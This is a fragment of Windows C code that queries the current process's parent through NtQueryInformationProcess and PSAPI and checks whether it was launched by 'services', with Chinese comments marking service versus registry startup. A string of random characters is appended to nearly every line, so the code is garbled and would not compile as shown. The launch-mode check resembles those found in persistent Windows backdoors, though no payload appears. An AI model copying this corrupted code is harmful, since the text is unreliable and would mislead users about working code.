DWORD BasePriority; H^N@fG<*dh
ULONG UniqueProcessId; =]OG5b_-Y
ULONG InheritedFromUniqueProcessId; !Ol>![
} PROCESS_BASIC_INFORMATION; 9K>$
bUW`MH7yJ
PROCNTQSIP NtQueryInformationProcess; `[.':"~2N
>lo,0oG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H!D?;X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vsjl8L
RaS7IL:e
HANDLE hProcess; | 'SqG}h
PROCESS_BASIC_INFORMATION pbi; )1KlcF
JVzU'd;1!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]"3(UKx
if(NULL == hInst ) return 0; @bN`+DC!<
|kHPk)}I]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _$+lyea
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l%aiG+z%6}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )$* T>.JA
o*OaYF'8
if (!NtQueryInformationProcess) return 0; RtrESwtR
l3sL!D1u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -NG`mfu
if(!hProcess) return 0; BwN65_5p
=%4vrY
`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7>g^OE f
PD$gW`V
CloseHandle(hProcess); PXZZPW/
uZe|%xK$y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yW&|ZJF?
if(hProcess==NULL) return 0; A;t6duBDf/
Y5}<7s\UDO
HMODULE hMod; ( aGwe@AS
char procName[255]; Zhl}X!:c?\
unsigned long cbNeeded; \\F@_nB,b
a'LM6A8~x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L6^Qn%:OTd
edt(Zzk@3-
CloseHandle(hProcess); ,cR=W|6cQm
4uW}.7R'
if(strstr(procName,"services")) return 1; // 以服务启动 H0Q.; !^
!BN7 B
return 0; // 注册表启动 fIo7R-XP
} %)7HBj(*J
'J&&